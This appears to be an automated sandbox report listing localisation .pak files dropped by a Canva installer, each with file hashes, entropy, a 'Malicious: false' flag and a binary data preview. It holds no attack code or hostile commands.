C:\Program Files (x86)\Canva\locales\hu.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	590492
Entropy (8bit):	5.641447107584658
Encrypted:	false
SSDEEP:	6144:OUyE1INoBuT80LvP9/Hs8DfcAujkatvV5RvBFZfpdVYGkb7ZNIeHK9njDi54Rryy:OUJSNI4/sA0V5RvBnuzzKY5y0n4
MD5:	AB64CF95B5231922340ECEC09182DCB2
SHA1:	9EDDEEF898E4A4C1EC6DB989587A75FC3E8A1E75
SHA-256:	E806294A2D609A514DFA416A07625FB2F173018BB2E278323F752EFC459C39F8
SHA-512:	BEC74EF13DB548FB9B225C6AFFF2841D5BD987D4EA129ADEDF6E5B852D004F89CDCF5FD4A6CCB1E4E5448EF38D488F258E3D5CC49C24775A34647CC0BB7102E5
Malicious:	false
Preview:	........1%5.e.....h.....i.%...j./...k.>...l.I...n.Q...o.V...p.c...q.i...r.u...s.....t.....v.....w.....y.....z.....\|.....}........................................................................./.....E.....Z.....n.................=.....[...........R...............................................&.....\.....u...........O.....v.................].................C.................&...........M.................;.......................o...........+.....;...........>.................3.................>...........2.....^.....{...........S.....z.................j.................9.................,...........6.....y...................................Q.................4...........:.....\|...................................q.................-.................$.....M.................S.....k...........g.................S.......................I ..... ..... ..... ....v!.....!....+"....L"....."....z#.....#.....#.....$....#%....p%.....%....;&.....&.....'.....'.....'.....'.....(....9(.....(....*)....u)

C:\Program Files (x86)\Canva\locales\id.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	486837
Entropy (8bit):	5.373459958164849
Encrypted:	false
SSDEEP:	6144:Xedqj3oEK2twd/yG1wF6f+eVnjHF3mmi8IxZ5wZhrwkK5cTSzo7IEji4JHF:2qj4MWFytFyVnjHFWmNIb5wZhlF
MD5:	D736B044FA41A639E13A2BFF3972A182
SHA1:	9CD13B7D8E1B11F13DBB1FBF7EB8A6263F27ED07
SHA-256:	C8E30F0C11D78C7D603DF40BF6E9B2FE896EB36A8EEE27D9621A537545B2F609
SHA-512:	DD1CF38ED3B3C93395A1AF45EC81D6B665112280B89AA5F2108DDDC6F2290F3BCA0DCC696D8DAC4967B4D58C248B2C425E6CF36CE5A93CA1F80D17B00EA2D4B5
Malicious:	false
Preview:	........K%..e.@...h.H...i.Y...j.e...k.t...l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.....\|.....}.............!.....).....1.....9.....@.....G.....N.....O.....P.....R.....`.....m.....}.................u.................*.....v.......................v.................7.......................:.............................\.....}.................S.......................^.......................J.....t.................).....V.....c...........).....d.....w...........R......................./.....J.....[.............................m.......................F.......................-.....~.......................V......................./.....\.....h.................H.....U.................?.....Q.............................T.......................,.....r.......................V.......................-.....G.....U.................5.....D.................<.....U...........M.................#.......................6.............................M.....l.....\|...........;.....r.

C:\Program Files (x86)\Canva\locales\is-12V2C.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	587932
Entropy (8bit):	5.385302506831163
Encrypted:	false
SSDEEP:	12288:3OjnZLqxMDpDgEL6QuaMVWXKz05FlZQmZyMYnYtzLl9ujzx4e5hxkJSW7v40wCJY:3Okm2VqN5Q7
MD5:	606E583292DBEAE8A3742A700D09E1C2
SHA1:	BF49B446173BA81EC3F926D69B87A81C5E233C4E
SHA-256:	C22E274FBC4A033CB8A9A4E9A96F82487DC671EC0AD49B3257939D2A8A751442
SHA-512:	47277EDBFB2DCE8724900C0A7B0231E34DEEE19B268F46C08D56ADECAD38D629D79466C26B701B6F43607F7DCDE55B1BBF6C3D73BDBD7E22096A0D14AD901621
Malicious:	false
Preview:	........F% .e.6...h.>...i.O...j.[...k.j...l.u...n.}...o.....p.....q.....r.....s.....t.....v.....w.....y.....z.....\|.....}.........................'...../.....6.....=.....D.....E.....F.....H.....X.....f.....x...........,...........L.....n...........U.................=...........".....>.................m.................J.....v.................Z.................5...................................>.....b...........@.......................i...............................................#.......................d.......................^.......................d.......................\|.................-.......................0.............................{.......................z.................A...........%.....<.................0.....N.......................$.................*.....F...........Q.................-.....\|.................-.......................z...........,.....L...........J ..... ..... ....8!.....!.....!.....".....".....#....h#.....#.....#....0$....]$....q$.....$....]%.....%

C:\Program Files (x86)\Canva\locales\is-20SBD.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	1170199
Entropy (8bit):	4.270267200548805
Encrypted:	false
SSDEEP:	3072:iOXg1lMf3u3jGVxXD7unXU7AI2HSzhb0Ylf14/QISydDbsh8VBbFKQg5hNDl2Ob:Hw3MvpXD7unLxSydHsh8VBbG5Hld
MD5:	83A0030387AFBE1CD2D6790079FC5024
SHA1:	9D4253D253167AEE6F3BA9CF6F8F376266832D00
SHA-256:	BF2FA4C57095E0BE63E8CD1AE6D2389D6417A91D8C9E1970EEEE5363C46F0D27
SHA-512:	20C92C5C3634A9663D933AA98D9356E18BEB8927F2975778967A65CC25522560784EABECFE99037008689CF3B77093C35D3F109F32AE2DB2160E9798415A3771
Malicious:	false
Preview:	........Q%..e.L...h.T...i.e...j.q...k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.....\|.....}.!.....)...........6.....>.....C.....K.....R.....Y.....`.....a.....b.....g.............................C.....M...........E.....:...........................................................H...........D...........q...........^...........c.............................w.....].....4.............................]...........Y...........k.............................O.....s.....k...........e.......................?...........w ..... ..... ....v!....."....;"....^"....>#.....#....W$.....$....S%.....%....O&....{&....3'.....'....'(....M(.....(.....).....)..............V+.....+.....+.....,................./.....0.....0....d1.....1....A2.....2.....3....<3.....4.....4....75....c5....K6....$7.....7....38.....8....~9.....9.....9.....:.....;.....;....%<....(=.....=....~>.....>.....?....=A....0B....cB.....C.....D....AE.....E.....F....EG.....G.....G.....H.....I.....I....&J....,K.....L

C:\Program Files (x86)\Canva\locales\is-2C046.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	1125467
Entropy (8bit):	4.28845834623339
Encrypted:	false
SSDEEP:	3072:JASH222GPf+r97QyNiMJ0voJZVLF2wnVPbtwpFFyGRU3RxYR3lDdjE9xOUq/1A3Q:rYo+rdQyh0oaSpgKZmbzAyCLj5cpAK9T
MD5:	E45351AD81BE0444C2731E0FE2457BFD
SHA1:	23CAACD7F2354CB3C1A72CC89799DAAE3089EDE3
SHA-256:	BF42C87554153B83E53ED8B839A74A50E893ABDA190D7DDD73521CC6D121DFA7
SHA-512:	B93E70B09EB536A2AB58A064B05AA13D6B0EED08EE1681AB9C59374D119A8BF3CCC2793FE005D0C51734AFE25794C9BBD759EF7085A4B9FA6C3DD5E29D0F39B3
Malicious:	false
Preview:	........%<.e.....h.....i. ...j.,...k.;...l.F...n.N...o.S...p.`...q.f...r.r...s.....t.....v.....w.....y.....z.....\|.....}.........................................................................>.....`.................#.....[...........U.................H.............................8.....>.....;...................................$.................$.....D.....N.....,.................f...........m.......................~.......................a...................................P .....!....]".....".....#....g$.....$.....%.....%.....&.....&.....&.....'....H(.....(.....(.....)....~.....*....&+.....,.....,....M-....y-....@....../....a/...../....D0.....1....]1....}1....P2.....3....w3.....3.....4.....6.....6.....7.....7.....8.....8.....8.....9....4:....j:.....:....X;.....<.....<.....<.....=.....>.....?.....?.....@.....A.....A....CB....sC....lD.....D....>E.....F....MG.....H....3H.....I.....J.....K.....K....KM....UN.....N....cO....lP....JQ.....Q.....Q.....R.....S.....S.....T....3U....'V.....V

C:\Program Files (x86)\Canva\locales\is-2POGH.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	537107
Entropy (8bit):	5.4226739022427255
Encrypted:	false
SSDEEP:	6144:cneZxthZ8l/gooNBXBLZWkoyVH553JBi90sRaY5Cs:rxOl/go+5NJ9sR15x
MD5:	F8BCB6FD83B0425ABB9B214535025140
SHA1:	51E72F9B419393674E8CC9AC3ABABD6FCDEFA251
SHA-256:	3EF0114EAF2268262CD594BFE33B56B24FB416D23D6FD125A9AE022D8ECEAA99
SHA-512:	A5DC5E3EAD99820D3EE9B83CF58670923EDB8B538DAE84FFC6B1AEA9869FEC58F0A5E8AD8BA5A792736D1A593B4B6664D734BE3EF524FC2B036B268FE108B5A2
Malicious:	false
Preview:	........c%..e.p...h.x...i.....j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.,...\|.2...}.D.....L.....Q.....Y.....a.....i.....p.....w.....~...............................................l...........T.....p...........7.....p.....................................................0.............................f...................................B.....r...........g.................B.......................g...................................S.....l...........x.................=.............................y.......................v.........................................!.....x.......................W.......................1....._.....i...........&.....^.....o...........j.................(.....r.......................C.....i.................E.....]...........V.................:....._.....x.................E.....X...........(.....s...............................................G.....r...........$ ....L ...._ ..... ..... ...."!....7!.....!....."....L"....l"....."

C:\Program Files (x86)\Canva\locales\is-33UOS.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	655212
Entropy (8bit):	5.686448471913808
Encrypted:	false
SSDEEP:	6144:tPm/rHeA9VXH3Wv0WSGRpZXQ2y+BbX5znS1V7:o6UJHmccpZXQ2y+N5znC
MD5:	5C8C92313284117F3C549DC53273AE8B
SHA1:	697F746CFFBBCA1D43BBF29AC1619318BD3DC96D
SHA-256:	4C34AAFD5794886A4D091C4F4A97642BB9F199B90203D904E14E503FC3EDB845
SHA-512:	1C1232B6CDE8CBE2D827BEF0C0495165B4CC27494249BCB44B73D03404F3070AAF2CBD72F8425D24D197F14757553157858951280E524608AADA053EAE028DDC
Malicious:	false
Preview:	.........$..e.....h.....i.....j.....k.....l.....m.....o./...p.<...q.B...v.N...w.[...y.a...z.p...\|.v...}.................................................................................................@.....a.............................v................B...........m.......................L.................a.........................................&...........".....Y.....~.............................e...................................$.....3.................K.....Z....................... ......................."...........#.....d.........................................4.................0...................................P.....b...........M................. .............................:.................:...................................!.....B.............................6.................4.................. ..... ..... ...."!....b!....}!.....!....R"....."....."....J#.....#....R$....g$.....$.....%.....%.....%.....&.....'....G'....h'.....'....V(.....(.....(....;).....)..........*

C:\Program Files (x86)\Canva\locales\is-3B46B.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	708276
Entropy (8bit):	4.622250398985609
Encrypted:	false
SSDEEP:	12288:N7wJFZb6J5hhT3BluYCy31frspm2GWqu/kol4JACVXbfeQCajLn5O67cE+oixB0X:ZUFZQjb5woB
MD5:	0002D6ECC7F06D88DC714DEBF31C925A
SHA1:	4C5DE1E0A8EF47B0D98BB3A9C5C1EE176F0DF3EF
SHA-256:	D71C98ED9EF2AAF13033332DCD40F41785656C156D41614916353DAA3EA5F2A7
SHA-512:	060C668B540813055F7537B64F8A9F4B393E3E1D31A6341C603644725EB8673E3249A07B7F519CCCDB65C4D2ABED2792580DF880CFB8B9B154D9DDADB3ADE027
Malicious:	false
Preview:	........4%2.e.....h.....i.+...j.7...k.F...l.Q...n.Y...o.^...p.k...q.q...r.}...s.....t.....v.....w.....y.....z.....\|.....}................................................. .....!.....".....$.....;.....T.....m...........O.......................9............................._.................d...........3.....U...........J.........................................g.................?...........V.................f...........E.....d...........[.................C.................#.........................................(.....U...........?.....q...............................................<.....O...........E.........................................E.........................................A...........h.................Y.........................................4...........+.....{...........9 ..... ..... ....1!.....!.....!....."....3".....".....#....G#....`#.....$....u$.....$.....$.....%....u&.....&.....'.....'....>(.....(.....(....g).....)....4....[.....*....G+....w+.....+....P,.....,....=-

C:\Program Files (x86)\Canva\locales\is-4CO8K.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	1211426
Entropy (8bit):	4.285504136009603
Encrypted:	false
SSDEEP:	3072:EzCplnpUoc9rQtU2BxfwUV/BB0ZV1d+uxlRLiW3Jd1eTByntDPtDl+p1as4u/8W0:Ez/Xlexoev85P5+hgr
MD5:	5FE0B17532CFC8523F97EE17DBA844A7
SHA1:	6233FD3670BCB32C4EFEAEF7BDB41ADEE6EFD825
SHA-256:	352F833B4F936369216EEAA1F8C5E652B34A36CC143FF9A872B0608E4E88957C
SHA-512:	A37DB9DA6D9B5F913930712A57FED8EBE1654787B246445A40F59A91FCC67373367CADAB2DD70A89445514F2D6D806FA3DFD744461E2C15777FFAD30D3D0BF12
Malicious:	false
Preview:	.........%L.e.....h.....i.....j.....k.....l.....n.%...o....p.7...q.=...r.I...s.Z...t.c...v.x...w.....y.....z.....\|.....}...............................................................................7.....b...............................................'.....b.........................................F.....u.....H...........V...........>...........9.....\.....C...........F.............................D.................N.....w.....^...................................D.....v.................s.................9.................q....." ....u ..... ....3!.....!....."....&".....".....#...."$....S$.....%.....%....$&....C&.....&.....'.....'.....(.....(....b).....).....).........B+.....+.....+.....,.....-....L.....\|.....8/...../....00....\0.....0....x1.....1.....1.....2.....3.....3.....3.....4.....5.....6....[6.....7.....7.....7.....8.....9.....9....{:.....:.....;....a<.....=....:=.....>.....?.....@.....@.....A.....B....KC.....C.....D.....E....>F.....F.....G....FH.....H.....H.....I.....J....DK

C:\Program Files (x86)\Canva\locales\is-4EOJS.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	539844
Entropy (8bit):	5.396781215354528
Encrypted:	false
SSDEEP:	6144:rtptZSTJLUHxk7jZieJVJJxhHLshYfVh85FKybSRLi:rtpmtAkt85FKsSRW
MD5:	90964C1734B1C36442DD69EDBD85882C
SHA1:	BA1FF66B255FE432278BC44860C6C4B3DA975296
SHA-256:	B9439000C1C75565C2F223612079A51971AC54A3786D5B631F20436447929465
SHA-512:	5A6AFC90FF5A3A65E9E2F4347635A82CCBFCC9D1F5D6B206828650AA49A2DCC59D3C8833CBFB9FC7CE8F347A28D718567E1CC300758A2EA5126C67E0967AEDC8
Malicious:	false
Preview:	........~%..e.....h.....i.....j.....k.....l.....n.....o.....p.....q.....r.....s."...t.+...v.@...w.M...y.S...z.b...\|.h...}.z...........................................................................................................x.................^.................G...........'.....B...........-.....q.................8.....b.....r.................F.....X...........F.................,.......................f..................................).....9.................W.....l...........b.................7.......................".....\|................................................................2.............................s.......................L.....y.................:.....n.................].......................m.......................2.....L.....]...........!.....N.....h...........A.......................W.......................A.....w.................M.................;...................................e............ ....l ..... ..... .....!....`!.....!.....!....."....h"....."

C:\Program Files (x86)\Canva\locales\is-4F5M8.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	994931
Entropy (8bit):	4.737922927263801
Encrypted:	false
SSDEEP:	24576:2YcaPdGgxh1hxFJiL9+0JXDsSaSmqHuuD2Np6P4j/MAVH8yeVd85tRDQr3egif27:2YcaPdGgxh1hxFJiL9+0JXDsSaSmqHbp
MD5:	71ABCFDF468DC5813610DD32234BE946
SHA1:	AA4C14E702B06E391834E4CFC58929B873BC3D1A
SHA-256:	F1E01EEB90C0842F7AF927F65D034FC93FDBCBCB9B9EA7E31C79761C316C8FB8
SHA-512:	615B591E4BD744848E6E15B729E543FAA9AB06DB11F042FFF12FFEE6FD3E7802C9DA37D8784004E6727FC39CDE17BECB60C1158DEC401E20A088056451693BB8
Malicious:	false
Preview:	........X%..e.Z...h.b...i.j...j.t...k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.....\|.....}.#.....+.....0.....8.....@.....H.....O.....V.....].....^....._.....a....................... .....G.....%.............................h.................z.....&.....X.....{...................................s...........9.................8.................&....._.....g.....a...........0.................A.....\.....C...........q.................H.................2............................y.......................N.................\...... ....J ..... ....a!....;".....".....".....#....g$.....$.....$.....%.....&.....&....&'.....'.....(.....(.....).....)..........*.....+.....,....%-.....-.....-.........../...../....$0.....0....M1.....1.....1...._2.....2....M3....z3....g4....'5.....5.....5.....6....J7.....7.....7....x8....:9.....9.....9.....:....e;.....;.....<....H=....c>.....?....R?....S@....:A.....A.....A.....C.....D.....D.....D....mE....7F.....F.....F.....G.....H....HI

C:\Program Files (x86)\Canva\locales\is-5FKSG.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	554338
Entropy (8bit):	5.479799007655059
Encrypted:	false
SSDEEP:	12288:v/ym7W5Op5rB2I+EbME5G8coJHvbxi/fz4Cqc:Xym7Wop5T3ME5G8cii/fz44
MD5:	C2C99E4B36E16403DED88CFF651671C7
SHA1:	F3257F4B444CD2E33451A76BD55F81372F622681
SHA-256:	8095CE45373D8DE8DD243FEC034643060CBFF67A48FA81414E31A0B9327EEFC4
SHA-512:	D8C76B7C9C3B6A1CF5C72ABED0B53E2552EE28D1575CBE3B680904281F07EC797D37A4D60590490984C6C0DCB33D3C688869DEE9C51920D4B41862D1E5FD7DC2
Malicious:	false
Preview:	........K%..e.@...h.H...i.Y...j.c...k.r...l.}...n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.....\|.....}...................'...../.....7.....>.....E.....L.....M.....N.....P.....b.....p.................%................. .................'.....8...........D.......................z.......................y.......................l.................!.......................a.................-.................E.....[.........../.....f.....z...........t.................e...........6.....\.................".....:.................................................................6.....J.................D.....U...........;.....\|.................M.....{.................Q.......................m.................$.....y.......................^.....\|.................Y.................*.......................[.......................T.......................t.................&...........p.......................0 ..... ..... ..../!.....!.....!.....!....+"....\|".....".....".....#.....#.....#

C:\Program Files (x86)\Canva\locales\is-6DIRQ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	593573
Entropy (8bit):	5.6301516471633715
Encrypted:	false
SSDEEP:	6144:fZBZxz1/4i+sRe28W/raTmNstVFph6T97vcGj/kbO15UyYTbEwTe757esFOHAYX0:hNylsRpWXQT9PrV15cEwTY5tONA19
MD5:	0308AEC65AD35B2282571098DDDBA5AE
SHA1:	5DD9A983BE7C29405575C658E73633F678FE4469
SHA-256:	54541C9ADEE8711C3D391B67B2081214166621212A670B0F2D633D1E2623A757
SHA-512:	967D4B19F8455B3D5633E6B9ADA3904B7974414990E705590FA2D2D0B2E721789165D4A2877C56287BCDEC27205C3D47D1F7CDFE912D4A27023E3AA087626ABF
Malicious:	false
Preview:	.........%..e.....h.....i.....j.....k.....l.....n.....o.....p.....q.....r.....s.&...t./...v.D...w.Q...y.W...z.f...\|.l...}.~.....................................................................................................p.................]...........(.....;...........p.................\...........-.....L...........+.....g.....r...........g.................#.............................9.........................................m...........3.....F...........j.................X...........N.....o...........:.....`.....v...........C.....l.....~...........Q.....x...................................]................. .................E.....T...........=.....p.................y.................V...........I.....a...........$.....?.....T...........S.......................y.................>.................H............ ....5 ....N ..... ....R!.....!.....!.....".....".....".....".....#....P$.....$.....$....N%.....%.....&..../&.....&....*'....d'....t'.....'....F(....a(.....(.....).....).....)

C:\Program Files (x86)\Canva\locales\is-71ASR.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	569703
Entropy (8bit):	5.1919702904490395
Encrypted:	false
SSDEEP:	6144:aZdptKHeHQogDYIQy7DQEuH2V8L0dnGNLmG5IXmr1YARQqK:odM5kxEG5mmg
MD5:	E499AF17FCE1F7F276B3BFB0E1B2F5B2
SHA1:	E2BF18ACF2A9E357AA7A694B5C60F947FD8BB0C2
SHA-256:	A30015021FB928BCF16F9409FB45FB89CA3D196BAFB3597DF3FE4A9E477A3FD9
SHA-512:	A1F03B7A6EC3F4601052D4E1F2CA6C092D9E5FE41CE7DF89F7E7FBE1A1892DF73A9CB85058F3C24E1236ED013E2BDD017F7BEC3D6B6FF13CA61BF0849C73F472
Malicious:	false
Preview:	.........%..e.L...h.T...i.j...j.v...k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.....\|.....}.%.....-.....2.....:.....B.....J.....Q.....X....._.....`.....a.....f.....s.......................W...........F.....d...........[.................]...........J.....q...........f.................$.......................1.......................t...........%.....T...........j.................Y.................-.................T.....n...........i.................b...........N.....p.........../.....Z.....w...........%.....M.....Z.................8.....G...........$....._.....u...........A.....w.................I.....{.................J.....{.................L.....~...................................^.......................X.......................H.......................q...........*.....a...........(.....R.....l...........J.....}...........& ..... ..... ..... .....!....1"....."....."....@#.....#.....$....@$.....$.... %....V%....n%.....%....&&....N&....d&.....&....Z'.....'

C:\Program Files (x86)\Canva\locales\is-73SBF.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	447042
Entropy (8bit):	5.522859001768912
Encrypted:	false
SSDEEP:	6144:hR4GWUMzWjLCI7MP9ej7HXfaYISMv5n51SKBcWRnpM:UEh7Ma7H6N51SOM
MD5:	413E4484B8AA83BF7D928AF143340DD9
SHA1:	92B8DC474FD507F28C51B34014FE9F867AF25531
SHA-256:	AD460425C88BE889D6D6A9B69D0B6F64E2E957BF8AC4F230DE4D25340C75BA87
SHA-512:	E8AB41CA706D8A49B4A411FB9F50BF1C04627DAB452A7AEC01A5C61E4951FDE42FC05163CBD193F034BFEE378849353DB9AD4B8A2DB3F992DF105DF17BB146E0
Malicious:	false
Preview:	.........%..e. ...h.(...i.6...j.B...k.Q...l.\...n.d...o.i...p.v...q.\|...r.....s.....t.....v.....w.....y.....z.....\|.....}...........................................$.....+.....,.....-.....2.....?.....N.....^.....o...........B.......................@.....q.................A.....}.................8.....g.....\|.................7.....E.............................W.......................:.......................0.....}.......................S.....~.................".....N.....Y...........".....d.....x.............................V.............................9.....Z.....f.................@.....S.......................#.....l.......................-.....q.......................2.....[.....f.................\.....q.................!.....7.............................?.............................U.......................,.....G.....V.......................>.......................3.................N.....\.................S.....p.................>.....M.............................c.............

C:\Program Files (x86)\Canva\locales\is-827MS.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	549246
Entropy (8bit):	5.505323401507658
Encrypted:	false
SSDEEP:	6144:VJdzQHdf003K7UpKD93gFahmOW2xdVfwAXaOV5jbt5ZRYJoUjM5QIvCWa:VbIC03K7UpggFa0DtE3t5xUqvvCWa
MD5:	0BC4A1CF47A5AD423969F22AF3030231
SHA1:	3F6F19725068509EFD426600A6B512158267EB58
SHA-256:	E33EA8240835CC775A9E88942AA2905D17CEF84929602FD2C4F26F33F9BDC52A
SHA-512:	D9AB8855472077FBD7277A73FCB2BFA8CBB592F39E62957ACD91BFAC2E51DC24BA23D6C6DACB8DCD4EDFFFF5A59B2BB4D9761F70327AFA0A668BD55E95B00864
Malicious:	false
Preview:	.........$y.e.....h.....i.....j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.+...y.1...z.@...\|.F...}.X.....`.....e.....m.....u.....}.......................................................................^.................K................. .................d.....~...........t.................5.......................`.............................$.....[.....}.............................n...........,.....=...........?.....}...........&.................&...........e.................J.......................[.......................n.............................$.....g.....~...........l.................#.......................L.......................{.........../.....A...........p.................G.......................A.......................?.......................z...........2.....f...........3.....Q.....h...........M.....y............ ..... ..... ..... ....Z!.....!....2"....<"....."....Y#.....#.....#....5$.....$.....$.....$....Q%.....%.....%.....%....z&.....&....0'

C:\Program Files (x86)\Canva\locales\is-8KJO2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	1055231
Entropy (8bit):	4.333705516374822
Encrypted:	false
SSDEEP:	12288:78XSN9LyZYArTJz1L/L1XPhHsbhRy1cW+v1H5UJEyL3ftj8wlz9eTRo94G+K9uLO:78XBS5j5k
MD5:	8470D57577F417DA93D40889CBE9F4BF
SHA1:	6B497939F2B196A1B84E06D8AC2449B554C14A60
SHA-256:	F5118CA292C570E69972FF8A7A81940A98DBF4519532CEFF133488A329825F78
SHA-512:	EFA31D2C3DC584AAA4120C931749FF1CC0F21D263530DD6BD2D9F66BEC74159998CBF679A78B8D231FAB5DA1F0CB48A9D9DFACD0E0E85336B234B87B2457BFF3
Malicious:	false
Preview:	.........$..e.....h.....i.....j.....k.....l.....o.....p.....q.....r.....s.(...t.1...v.F...w.S...y.Y...z.h...\|.n...}...........................................................................................s.......................V...........]...........^.................k...........A.....z.....U...........H...........j.................s...........<.....U.....x.....3.............................$.....u.....C...........n...........]...........j...........e...........~.........................................=.......................H.......................2.......................: ..... ..... .....!....Z".....".....".....#....k$.....$.....%.....%....P&.....&.....&.....'....K(.....(.....(...............+.....+.....,....(-....t-.....-....b...........-/....d/.....0....r0.....0.....1....92.....2....x3.....3.....4.....5....@5....p5....E6.....6.....7....d7....c8.....8....g9.....9.....:.....;....6<....W<.....=.....>....[?.....?.....@....fA.....A.....B.....B....^C.....C.....C.....D.....E....<F

C:\Program Files (x86)\Canva\locales\is-8MPJU.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	590492
Entropy (8bit):	5.641447107584658
Encrypted:	false
SSDEEP:	6144:OUyE1INoBuT80LvP9/Hs8DfcAujkatvV5RvBFZfpdVYGkb7ZNIeHK9njDi54Rryy:OUJSNI4/sA0V5RvBnuzzKY5y0n4
MD5:	AB64CF95B5231922340ECEC09182DCB2
SHA1:	9EDDEEF898E4A4C1EC6DB989587A75FC3E8A1E75
SHA-256:	E806294A2D609A514DFA416A07625FB2F173018BB2E278323F752EFC459C39F8
SHA-512:	BEC74EF13DB548FB9B225C6AFFF2841D5BD987D4EA129ADEDF6E5B852D004F89CDCF5FD4A6CCB1E4E5448EF38D488F258E3D5CC49C24775A34647CC0BB7102E5
Malicious:	false
Preview:	........1%5.e.....h.....i.%...j./...k.>...l.I...n.Q...o.V...p.c...q.i...r.u...s.....t.....v.....w.....y.....z.....\|.....}........................................................................./.....E.....Z.....n.................=.....[...........R...............................................&.....\.....u...........O.....v.................].................C.................&...........M.................;.......................o...........+.....;...........>.................3.................>...........2.....^.....{...........S.....z.................j.................9.................,...........6.....y...................................Q.................4...........:.....\|...................................q.................-.................$.....M.................S.....k...........g.................S.......................I ..... ..... ..... ....v!.....!....+"....L"....."....z#.....#.....#.....$....#%....p%.....%....;&.....&.....'.....'.....'.....'.....(....9(.....(....*)....u)

C:\Program Files (x86)\Canva\locales\is-APDS0.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	853696
Entropy (8bit):	4.754963351356009
Encrypted:	false
SSDEEP:	12288:QhjTzIuup7+q2YZAYI8glSDdrLuzQhrUPb7FW5YrT0xs7xH4rL37SjeYM/k/p:0jvwvwlW5nxoP
MD5:	D0045EF8D5EA1347F09983410EFFF00C
SHA1:	4C88AEC2A3D54E44E0D05281201B06917FAF17AD
SHA-256:	A50C82C0DB17E2AA4A62068CA2B210FD9847D32BF2134D6D5AF1FC4B7050091A
SHA-512:	1694CBD28BD29E5F394E3F6CEC01F9EFBB9DA8358F59FF80F550D4059ABDB02E02D4D4DA007E0646FA5CFC812FF8F94FE0A747BDF8B6F8449F02D28D83D536D5
Malicious:	false
Preview:	........j%..e.~...h.....i.....j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.%...y.+...z.:...\|.@...}.R.....Z....._.....g.....o.....w.....~.....................................................7.....$...........e...........]...........j.................S...................................A...........p.................o...........,.....C.......................?.....?.............................%.................n...........g...........r.....).............................a...............................................6.....Y...........V.................q...........r...........A.................7...........P ..... ..... ....R!.....!....."....6"....."....e#.....#.....#.....$....S%.....%.....%.....&.....&....5'....]'.....'....l(.....(.....(.....).........k.....*....X+.....+....K,.....,....>-.....-.....-................^/...../...../.....0....?1.....1.....1.....2.....3....C4....a4....O5.....5....h6.....6....l7.....7....K8....l8.....8....g9.....9.....9.....:....5;.....;

C:\Program Files (x86)\Canva\locales\is-APM8C.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	486837
Entropy (8bit):	5.373459958164849
Encrypted:	false
SSDEEP:	6144:Xedqj3oEK2twd/yG1wF6f+eVnjHF3mmi8IxZ5wZhrwkK5cTSzo7IEji4JHF:2qj4MWFytFyVnjHFWmNIb5wZhlF
MD5:	D736B044FA41A639E13A2BFF3972A182
SHA1:	9CD13B7D8E1B11F13DBB1FBF7EB8A6263F27ED07
SHA-256:	C8E30F0C11D78C7D603DF40BF6E9B2FE896EB36A8EEE27D9621A537545B2F609
SHA-512:	DD1CF38ED3B3C93395A1AF45EC81D6B665112280B89AA5F2108DDDC6F2290F3BCA0DCC696D8DAC4967B4D58C248B2C425E6CF36CE5A93CA1F80D17B00EA2D4B5
Malicious:	false
